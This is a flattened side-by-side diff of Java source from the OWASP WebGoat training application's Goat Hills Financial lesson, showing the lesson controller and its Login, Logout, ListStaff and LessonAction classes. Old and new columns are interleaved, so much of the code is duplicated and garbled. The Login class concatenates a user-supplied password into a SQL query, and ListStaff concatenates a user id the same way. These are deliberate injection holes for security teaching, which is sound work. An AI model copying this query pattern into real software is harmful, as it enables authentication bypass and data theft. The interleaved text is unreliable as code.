public final static String STAFF_ATTRIBUTE_KEY = "Staff"; public final static String STAFF_ATTRIBUTE_KEY = "Staff";
public final static String LOGIN_ACTION = "Login"; public final static String LOGIN_ACTION = "Login";
public final static String LOGOUT_ACTION = "Logout"; public final static String LOGOUT_ACTION = "Logout";
public final static String LISTSTAFF_ACTION = "ListStaff"; public final static String LISTSTAFF_ACTION = "ListStaff";
public final static String SEARCHSTAFF_ACTION = "SearchStaff"; public final static String SEARCHSTAFF_ACTION = "SearchStaff";
public final static String FINDPROFILE_ACTION = "FindProfile"; public final static String FINDPROFILE_ACTION = "FindProfile";
public final static String VIEWPROFILE_ACTION = "ViewProfile"; public final static String VIEWPROFILE_ACTION = "ViewProfile";
public final static String EDITPROFILE_ACTION = "EditProfile"; public final static String EDITPROFILE_ACTION = "EditProfile";
public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; public final static String UPDATEPROFILE_ACTION = "UpdateProfile";
public final static String CREATEPROFILE_ACTION = "CreateProfile"; public final static String CREATEPROFILE_ACTION = "CreateProfile";
public final static String DELETEPROFILE_ACTION = "DeleteProfile"; public final static String DELETEPROFILE_ACTION = "DeleteProfile";
public final static String ERROR_ACTION = "error"; public final static String ERROR_ACTION = "error";
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
private Map<String, LessonAction> lessonFunctions = new Hashtable<String, LessonAction>(); private Map<String, LessonAction> lessonFunctions = new Hashtable<String, LessonAction>();
public GoatHillsFinancial() public GoatHillsFinancial()
{
String myClassName = parseClassName(this.getClass().getName());
registerActions(myClassName);
}
protected void registerActions(String className) {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
protected final String parseClassName(String fqcn)
{
String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1)
className = fqcn.substring(lastDotIndex + 1);
return className;
}
protected void registerAction(LessonAction action)
{
lessonFunctions.put(action.getActionName(), action);
}
public String[] getStages() {
return new String[] {};
}
protected List<String> getHints(WebSession s)
{
return new ArrayList<String>();
}
public String getInstructions(WebSession s)
{
return "";
}
protected LessonAction getAction(String actionName)
{
return lessonFunctions.get(actionName);
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{ {
requestedActionName = s.getParser().getStringParameter("action"); String myClassName = parseClassName(this.getClass().getName());
} registerActions(myClassName);
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
} }
try protected void registerActions(String className)
{ {
LessonAction action = getAction(requestedActionName); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
if (action == null) registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
{ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
protected final String parseClassName(String fqcn)
{
String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1);
return className;
}
protected void registerAction(LessonAction action)
{
lessonFunctions.put(action.getActionName(), action);
}
public String[] getStages()
{
return new String[] {};
}
protected List<String> getHints(WebSession s)
{
return new ArrayList<String>();
}
public String getInstructions(WebSession s)
{
return "";
}
protected LessonAction getAction(String actionName)
{
return lessonFunctions.get(actionName);
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
try
{
LessonAction action = getAction(requestedActionName);
if (action == null)
{
setCurrentAction(s, ERROR_ACTION);
}
else
{
// System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " +
// action.getActionName());
if (action.requiresAuthentication())
{
if (action.isAuthenticated(s))
{
action.handleRequest(s);
}
else
throw new UnauthenticatedException();
}
else
{
// Access to Login does not require authentication.
action.handleRequest(s);
}
}
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} else } catch (ValidationException ve)
{
//System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName());
if (action.requiresAuthentication())
{ {
if (action.isAuthenticated(s)) System.out.println("Validation failed");
{ ve.printStackTrace();
action.handleRequest(s); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
else
throw new UnauthenticatedException();
}
else
{ {
// Access to Login does not require authentication. s.setMessage("Login failed");
action.handleRequest(s); System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} }
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
} }
catch (ParameterNotFoundException pnfe)
public boolean isAuthorized(WebSession s, int userId, String functionId)
{ {
System.out.println("Missing parameter"); // System.out.println("Checking authorization from " + getCurrentAction(s));
pnfe.printStackTrace(); LessonAction action = getAction(getCurrentAction(s));
setCurrentAction(s, ERROR_ACTION); return action.isAuthorized(s, userId, functionId);
} }
catch (ValidationException ve)
public int getUserId(WebSession s) throws ParameterNotFoundException
{ {
System.out.println("Validation failed"); LessonAction action = getAction(getCurrentAction(s));
ve.printStackTrace(); return action.getUserId(s);
setCurrentAction(s, ERROR_ACTION);
} }
catch (UnauthenticatedException ue)
public String getUserName(WebSession s) throws ParameterNotFoundException
{ {
s.setMessage("Login failed"); LessonAction action = getAction(getCurrentAction(s));
System.out.println("Authentication failure"); return action.getUserName(s);
ue.printStackTrace();
} }
catch (UnauthorizedException ue2)
protected String getJspPath()
{ {
s.setMessage("You are not authorized to perform this function"); return "/lessons/" + getLessonName() + "/";
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} }
catch (Exception e)
public String getTemplatePage(WebSession s)
{ {
// All other errors send the user to the generic error page return getJspPath() + getLessonName() + ".jsp";
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} }
// All this does for this lesson is ensure that a non-null content exists. public String getPage(WebSession s)
setContent(new ElementContainer()); {
} String page = getJspPath() + getCurrentAction(s) + ".jsp";
public boolean isAuthorized(WebSession s, int userId, String functionId) return page;
{ }
//System.out.println("Checking authorization from " + getCurrentAction(s));
LessonAction action = getAction(getCurrentAction(s));
return action.isAuthorized(s, userId, functionId);
}
public int getUserId(WebSession s) throws ParameterNotFoundException protected Integer getDefaultRanking()
{ {
LessonAction action = getAction(getCurrentAction(s)); return DEFAULT_RANKING;
return action.getUserId(s); }
}
public String getUserName(WebSession s) throws ParameterNotFoundException public String getTitle()
{ {
LessonAction action = getAction(getCurrentAction(s)); return "Goat Hills Financials";
return action.getUserName(s); }
}
protected String getJspPath() { public String getSourceFileName()
return "/lessons/" + getLessonName() + "/"; {
} // FIXME: Need to generalize findSourceResource() and use it on the currently active
// LessonAction delegate to get its source file.
// return findSourceResource(getCurrentLessonScreen()....);
return super.getSourceFileName();
}
public String getTemplatePage(WebSession s) @Override
{ protected boolean getDefaultHidden()
return getJspPath() + getLessonName() + ".jsp"; {
}
public String getPage(WebSession s)
{
String page = getJspPath() + getCurrentAction(s) + ".jsp";
return page;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Goat Hills Financials";
}
public String getSourceFileName()
{
// FIXME: Need to generalize findSourceResource() and use it on the currently active
// LessonAction delegate to get its source file.
//return findSourceResource(getCurrentLessonScreen()....);
return super.getSourceFileName();
}
@Override
protected boolean getDefaultHidden() {
return getClass().equals(GoatHillsFinancial.class); return getClass().equals(GoatHillsFinancial.class);
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
@Override @Override
protected String getLessonName() { protected String getLessonName()
{
String className = getClass().getName(); String className = getClass().getName();
int index = className.lastIndexOf('.'); int index = className.lastIndexOf('.');
if (index > -1) if (index > -1) return className.substring(index + 1);
return className.substring(index+1);
return super.getLessonName(); return super.getLessonName();
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,10 +7,11 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public interface LessonAction public interface LessonAction
{ {
public void handleRequest(WebSession s) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException; UnauthorizedException, ValidationException;
public String getNextPage(WebSession s); public String getNextPage(WebSession s);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,117 +6,107 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ListStaff extends DefaultLessonAction public class ListStaff extends DefaultLessonAction
{ {
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ GoatHillsFinancial.USER_ID);
List<EmployeeStub> employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
} }
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
{ UnauthorizedException
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public List<EmployeeStub> getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " getLesson().setCurrentAction(s, getActionName());
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
try if (isAuthenticated(s))
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); List<EmployeeStub> employees = getAllEmployees(s, userId);
String role = answer_results.getString("role"); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
} }
} else
catch (SQLException sqle) throw new UnauthenticatedException();
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
} }
return employees; public String getNextPage(WebSession s)
} {
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public List<EmployeeStub> getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -13,207 +13,179 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1;
try
{ {
employeeId = s.getParser().getIntParameter( super(lesson, lessonName, actionName);
GoatHillsFinancial.EMPLOYEE_ID); this.chainedAction = chainedAction;
String password = s.getParser().getStringParameter( }
GoatHillsFinancial.PASSWORD);
// Attempt authentication public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
if (login(s, employeeId, password)) {
{ // System.out.println("Login.handleRequest()");
// Execute the chained Action if authentication succeeded. getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1;
try try
{ {
chainedAction.handleRequest(s); employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
} String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD);
catch (UnauthenticatedException ue1)
// Attempt authentication
if (login(s, employeeId, password))
{
// Execute the chained Action if authentication succeeded.
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
} catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Internal server error"); // No credentials offered, so we log them out
ue1.printStackTrace(); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
} }
catch (UnauthorizedException ue2) }
/**
* After this.handleRequest() is called, when the View asks for the current JSP to load, it will
* get one initialized by this call.
*/
public String getNextPage(WebSession s)
{
String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, int userId, String password)
{
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{ {
System.out.println("Internal server error"); String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
}
}
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId));
authenticated = true;
}
/** } catch (SQLException sqle)
* After this.handleRequest() is called, when the View asks for the current JSP to load, {
* it will get one initialized by this call. s.setMessage("Error logging in");
*/ sqle.printStackTrace();
public String getNextPage(WebSession s) }
{ } catch (Exception e)
String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, int userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{ {
setSessionAttribute(s, s.setMessage("Error logging in");
getLessonName() + ".isAuthenticated", Boolean.TRUE); e.printStackTrace();
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID, Integer
.toString(userId));
authenticated = true;
} }
} // System.out.println("Lesson login result: " + authenticated);
catch (SQLException sqle) return authenticated;
{
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
} }
//System.out.println("Lesson login result: " + authenticated); public List<EmployeeStub> getAllEmployees(WebSession s)
return authenticated;
}
public List<EmployeeStub> getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " List<EmployeeStub> employees = new Vector<EmployeeStub>();
+ "where employee.userid=roles.userid";
try // Query the database for all roles the given employee belongs to
{ // Query the database for all employees "owned" by these roles
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, try
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
String firstName = answer_results.getString("first_name"); + "where employee.userid=roles.userid";
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees; try
} {
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,79 +7,70 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class Logout extends DefaultLessonAction public class Logout extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
// FIXME: Maybe we should forward to Login.
try
{ {
chainedAction.handleRequest(s); super(lesson, lessonName, actionName);
} this.chainedAction = chainedAction;
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
} }
} public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{
// System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
public String getNextPage(WebSession s) // FIXME: Maybe we should forward to Login.
{ try
return chainedAction.getNextPage(s); {
} chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
public String getNextPage(WebSession s)
{
return chainedAction.getNextPage(s);
}
} }

View File

@ -1,49 +1,47 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
